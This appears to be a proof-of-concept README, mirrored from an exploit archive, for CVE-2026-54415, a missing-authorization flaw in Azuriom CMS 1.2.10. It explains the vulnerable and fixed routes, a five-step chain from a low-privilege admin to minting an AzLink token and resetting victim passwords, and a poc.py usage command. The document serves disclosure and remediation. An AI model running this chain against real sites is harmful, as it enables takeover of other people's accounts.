## https://sploitus.com/exploit?id=D57038C7-7ED7-56E0-9002-1EBD14909BD6
# CVE-2026-54415 โ Azuriom CMS Broken Access Control โ Account Takeover
**Missing authorization on the admin server-management routes in Azuriom CMS ` This PoC is published for defensive and educational purposes against a **patched** version. Only run it against systems you own or are explicitly authorized to test. Upgrade to Azuriom `1.2.11+`.
โ **Verified end-to-end against a local Azuriom 1.2.10 instance** โ access-control bypass, token minting, confirmed password change + victim login, and the admin-protection boundary.
---
## Root cause
In `routes/admin.php` the entire admin panel is gated by a single `can:admin.access` group, and each sensitive feature is expected to add its own granular `can:admin.*` middleware. Before `1.2.11`, the **server-management routes shipped with no such middleware**:
```php
// routes/admin.php (vulnerable, except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
```
Any user who can reach the admin panel at all (`admin.access`) can therefore create servers. There was no `admin.servers` permission at all โ it did not exist until the fix.
### The fix (1.2.11)
The vendor **created a new `admin.servers` permission** and wrapped the routes in it:
```php
// routes/admin.php (fixed, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
Route::resource('servers', ServerController::class)->except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});
```
The same commit also added the previously-missing permission checks to the `social-links` and `pages/posts.attachments` routes.
---
## Why creating a server = account takeover
Creating a server generates a 32-char **server token** (`app/Http/Controllers/Admin/ServerController.php`):
```php
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);
```
That token authenticates the **AzLink API** (`routes/api.php`), whose `VerifyServerToken` middleware trusts any request carrying a valid `Azuriom-Link-Token` header. AzLink exposes account-management endpoints:
```
POST /api/azlink/password โ change a user's password by game_id
POST /api/azlink/email โ change a user's email by game_id
POST /api/azlink/register โ create users
POST /api/azlink/user/{id}/money/{add,remove,set}
```
`updatePassword` only refuses when the target `isAdmin()` โ every **non-admin** account is takeover-able:
```php
public function updatePassword(Request $request) {
// validates game_id + password
$user = User::where('game_id', $request->input('game_id'))->firstOrFail();
if ($user->isAdmin()) { return response()->noContent(); } // only admins are protected
$user->update(['password' => $request->input('password')]);
...
}
```
### The token requires no reachable game server
Server creation calls `$server->bridge()->verifyLink()` before saving. For the **`mc-azlink`** type this is unconditionally true:
```php
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }
```
So the attacker supplies any dummy `address`, the server saves anyway, and the fresh token is displayed back in the panel inside the AzLink setup command (`/azlink setup `).
---
## Exploit chain
```
1. Authenticate as a low-priv admin (only admin.access โ NO admin.servers, which didn't exist)
2. POST /admin/servers name=x&type=mc-azlink&address=127.0.0.1 โ server saved, token minted
3. GET /admin/servers/{id}/edit โ read token from setup command
4. POST /api/azlink/password (header Azuriom-Link-Token: ) game_id=&password=
5. Log in as the victim โ full account takeover
```
---
## Usage
```bash
python3 poc.py \
--url https://target.example \
--admin-user lowpriv_admin --admin-pass 'password' \
--victim-game-id 1001 \
--new-password 'Pwn3d!TakenOver'
```
The script logs in, mints a server token, extracts it, resets the victim's password over AzLink, and prints the token + result. See `poc.py --help` for all flags. Requires `requests` (`pip install requests`).
---
## Remediation
- **Upgrade to Azuriom `1.2.11` or later.**
- Audit `admin_servers` and revoke any unexpected server tokens.
- Apply least privilege: audit which roles hold `admin.access`.
---
## Disclosure
- **Researcher / Reporter:** Bobur Abdugafforov ([@abdugafforov-bobur](https://github.com/abdugafforov-bobur))
- Assigned by CNA: **TuranSec**
- Published: **2026-06-17**
- Fixed by vendor in `1.2.11`
## References
- Fix commit: https://github.com/Azuriom/Azuriom/commit/4b744bc0dd11f205f5aa053c6db8a949d3f0608e
- Release: https://github.com/Azuriom/Azuriom/releases/tag/v1.2.11
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-54415
## License
MIT โ for authorized security testing and research only.